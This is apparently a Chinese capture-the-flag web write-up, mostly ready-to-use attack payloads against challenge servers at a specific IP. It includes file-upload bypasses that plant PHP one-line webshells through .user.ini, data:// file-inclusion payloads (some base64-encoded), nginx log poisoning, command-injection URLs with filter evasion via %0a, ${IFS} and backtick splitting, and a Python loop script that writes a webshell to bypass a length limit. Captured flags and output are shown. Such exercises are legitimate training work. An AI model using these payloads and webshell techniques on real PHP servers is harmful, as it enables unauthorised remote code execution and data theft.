文件上传1
将一句话木马写入文件后改为能通过的图片格式,点击上传,使用bp
抓包修改后缀为php
上传
根据上传后的路径,访问一句话木马,输入相关命令找到flag
文件上传2
bp
抓包修改后缀为php
成功上传
获取flag
在使用cat
的时候发现无法读取,考虑被过滤掉了,使用tac
成功获取
文件上传3
上传shell.php
上传失败,错误信息为文件内容不合规,通过后缀名大小写绕过,解析绕过等多种方式未能成功上传,后来发现只有.user.ini
未进行过滤。需要注意的是,在上传图片马的时候一句话木马的写法一定要为<? ... ?>
否则会因为内容问题导致上传失败,经过测试上传目录下存在index.php
首先上传图片马
上传user.ini
访问index.php
成功执行命令,获取flag
文件上传4
上传图片马后上传.user.ini
同文件上传3
auto_prepend_file=muma.jpg
文件上传7
同文件上传4,但是这里的图片马中的一句话木马要写
<?=`tac ../fl*`?>
FILE_INCLUDE-FILE1
http://81.70.245.6:50099/?file=data://text/plain,<?php system("tac /ffff/ctf/flag.php") ?>
得到flag
$flag="flag{d1e34478-a38c-4441-a69f-3ae0826ba7c9}";
FILE_INCLUDE-GUOLVPHP
http://81.70.245.6:50203/?file=data://text/plan,<?= system("tac /var/www/html/flag.php"); ?>
得到flag
$flag="flag{4895a3e9-22ff-4c23-b82f-cc988f7ce354}";
FILE_INCLUDE-GUOLVPHPDATA
发现web
服务器是ngix
可以利用日志包含,使用bp
写入一句话木马,在浏览器包含日志文件执行命令即可
cmd=system("find / -name fla*");
扫描未发现flag
FILE_INCLUDE-DATA
没有过滤data
和/
http://81.70.245.6:50155/?file=data://text/plain;base64,PD89c3lzdGVtKCJscyIpOw
发现 fl0g.php
http://81.70.245.6:50155/?file=data://text/plain;base64,PD9waHAgIHN5c3RlbSgidGFjICoiKTs/PmFh
$flag="flag{b4894b16-ead2-41e3-b7f4-30e2890cdec0}";
RCE演示
post传参:
cmd=system("tac /flag");
得到flag
flag{eec9aa96ef6b45e3fa53b6415f28ecee}
RCE-CAT
使用;分隔命令
http://81.70.245.6:50487/?ip=;tac /var/www/flag.php
得到flag
Array ( [0] => ?> [1] => [2] => // flag{f0f687fa2d8ecc909d287fe532831a61} [3] =>
运算符
http://81.70.245.6:50049/check.php?ip=;cat /var/www/flag.php
Array ( [0] => //flag{cd7679a356118ac19f472179e058664d} [2] => ?> )
RCE-命令注入
http://81.70.245.6:50400/check.php?ip=;cat /var/www/flag.php
Array ( [0] => //flag{d17dd9fe1626a700b73d49271e72a848} [2] => ?> )
目录分隔符
http://81.70.245.6:50349/check.php?ip=;cd flag_is_here;ls -ll;cat flag_187841542210631.php
得到flag
Array ( [0] => total 4 [1] => -rwxr-xr-x 1 root root 52 Sep 2 2021 flag_187841542210631.php [2] => // flag{6da591692173f5c9f33c9f4c205c636e} [4] => ?> )
命令执行-综合过滤
%0a绕过运算符和;
$IFS$9代替空格
通配符代替flag
使用``绕过cat关键字
http://81.70.245.6:50008/check.php?ip=%0als${IFS}-a%0acd${IFS}..%0als%0aca``t${IFS}fl*.php
Array ( [0] => . [1] => .. [2] => ._check.php [3] => check.php [4] => index.php [5] => flag.php [6] => html [7] => //flag{96a46b46d975c5a784ce0e952cdff669} [9] => ?> )
RCE-拼接
这里讲eval里边的内容变成小写
http://81.70.245.6:50257/?a=${@eval($_POST['cmd'])}
post:
cmd=system("find / -name flag*");
未能找到flag
无回显RCE
将命令执行结果写入文件
http://81.70.245.6:50168/?c=find / -name fla*>2
发现flag所在位置
/var/www/flag_is_here_is_here
这里对命令的长度进行了限制,通过脚本写入带回显的一句话木马,解除长度限制
import requests
url = "http://81.70.245.6:50452/?c={0}"
print("[+]start attack!!!")
with open("D:\Work\School\安博网络安全\工具\脚本\payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))
print("[+]Attack defeated!!!")
成功执行
获取flag
http://81.70.245.6:50452/1.php?1=system("ls /var/www/flag_is_here_is_here");
得到flag
key-jdladicndiennnsldjlshldsjd.php
Comments NOTHING